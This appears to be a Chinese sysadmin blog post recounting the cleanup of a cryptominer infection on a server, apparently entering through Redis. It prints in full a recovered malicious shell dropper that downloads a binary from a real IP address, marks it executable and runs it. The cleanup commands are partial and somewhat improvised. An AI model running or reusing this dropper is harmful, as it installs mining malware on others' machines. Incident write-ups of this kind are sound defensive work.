2016-10-27
開發服務器病毒的一次解決
一：發現問題
早上9點左右，短信告警cpu使用達到100%，ssh連接不上，重啓服務器，並沒有解決cpu滿載的情況，但可以用ssh連上了。
二：解決辦法
遇到這種突然的cpu飆升，且用top命令看不到(shift+P)佔用cpu特別大的進程，初步懷疑服務器中病毒了並且有可能執行着計劃任務
查看計劃任務
果然，計劃任務顯示，它在每分鐘執行一個遠程名爲pm.sh腳本，經查，該ip地址爲韓國
獲取該腳本，內容如下：
===========================================================
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
machine=`uname -m`
#echo $machine
cs5="CentOS release 5"
cs6="CentOS release 6"
cs7="CentOS Linux release 7"
ub="Ubuntu"
de="Debian"
downFile(){
cd /var/lib
if [ -x"/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
elif [ -x"/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
fi
}
if [ $machine = "x86_64" ]; then
if [ -f "/etc/issue" ];then
version=`cat /etc/issue`
if [[ $version == $cs5* ]];then
downFile 5
elif [[ $version == $cs6*]]; then
downFile 6
elif [[ $version == $cs7*]]; then
downFile 7
elif [[ $version == $ub* ]];then
downFile ub
elif [[ $version == $de* ]];then
downFile ub
else
if [ -f"/etc/redhat-release" ]; then
release=`cat/etc/redhat-release`
if [[$release == $cs5* ]]; then
downFile 5
elif [[$release == $cs6* ]]; then
downFile 6
elif [[$release == $cs7* ]]; then
downFile 7
fi
fi
fi
fi
fi
=================================================================
由該腳本可以看出，這個計劃任務的pm.sh腳本會根據系統版本，生成本地/var/lib/pm文件，並給予該文件以可執行權限。
下面，首先防火牆阻斷該ip連接：
iptables -A INPUT -s 101.55.126.66 -j DROP
iptables -A OUTPUT -s 101.55.126.66 -j DROP
由上述可知，用top已經看不到系統真實的cpu使用信息，考慮使用top加強版htop，由於，我們的服務器沒有安裝htop工具，所以使用瞭如下命令查看真實的cpu使用信息
ps aux --sort=-%cpu | awk 'NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print$2,$3,$11}'
結果如下：
可以看出兩個tplink命令的進程已經使用了系統367%的cpu！，這裏我選擇刪除上述的/var/lib/pm文件和/usr/sbin/tplink文件，並且注意這個tplink進程使用pkill是殺不死的。
三：後續問題
雖然cpu問題就此解決，但是其中還是走了很多彎路了，網上所說的挖礦病毒和本案例有很多相似之處，但並不完全相同。另外在也在懷疑到底這個計劃任務或者說病毒是怎麼傳播的本服務器上面來的使用last，history，及查看系統安全日誌，並沒有發現蛛絲馬跡。按照網絡上案例，並且由計劃任務的名稱，可以大致確定病毒的傳播應該是由redis的漏洞傳播的（參考：http://blog.jobbole.com/94518/連接中有解決方法。）。並且查看了一下本服務器的redis日誌，可以看到redis啓動還是有warning的，如下
====================================================================
1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t
o the lower value of 128.
1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7
1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this
issue add 'vm.overcommit_memory =1' to /etc/sysctl.conf and then reboot or run the command 'sysctlvm.overcommit_memory=1' for this
to take effect.
1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a
nd memory usage issues withRedis. To fix this issue run the command 'echo never >/sys/kernel/mm/transparent_hugepage/enabled' as ro
ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.
=====================================================================
從日誌看出，redis還是有問題的存在的，並且日誌信息也給出瞭解決的辦法，按解決辦法操作即可。
好景不長啊，今天（2016-10-31），和網上類似的挖礦病毒又來了，這次化身成minerd並且top可看，下載遠程腳本，刪除可執行文件和計劃任務，刪除.ssh/下的認證文件，禁止redis遠程登錄：
useradd -s /sbin/nologin -d /usr/local/redis redis
發現 redis/bin/下面多了一些白色的文件，不知道是什麼東西，是不是應該刪除？
目前是真不知道下次挖礦病毒什麼時候再來。。。
last沒有其他登錄，***到底是怎麼修改計劃任務的？
==========================================================================
11-1：原來是刪除了可執行文件，並沒有刪除pid，知道是redis漏洞其實一開始可以
執行如下命令：
lsof -i:6379
ps aux|grep ntp
kill -9 pid
完了之後，也看不到***程序ntp使用6379端口了，問題應該是解決了
===========================================================================
各位網絡大神有沒有什麼可行的方法，或者知道***原理的，歡迎大家留言！
===========================================================================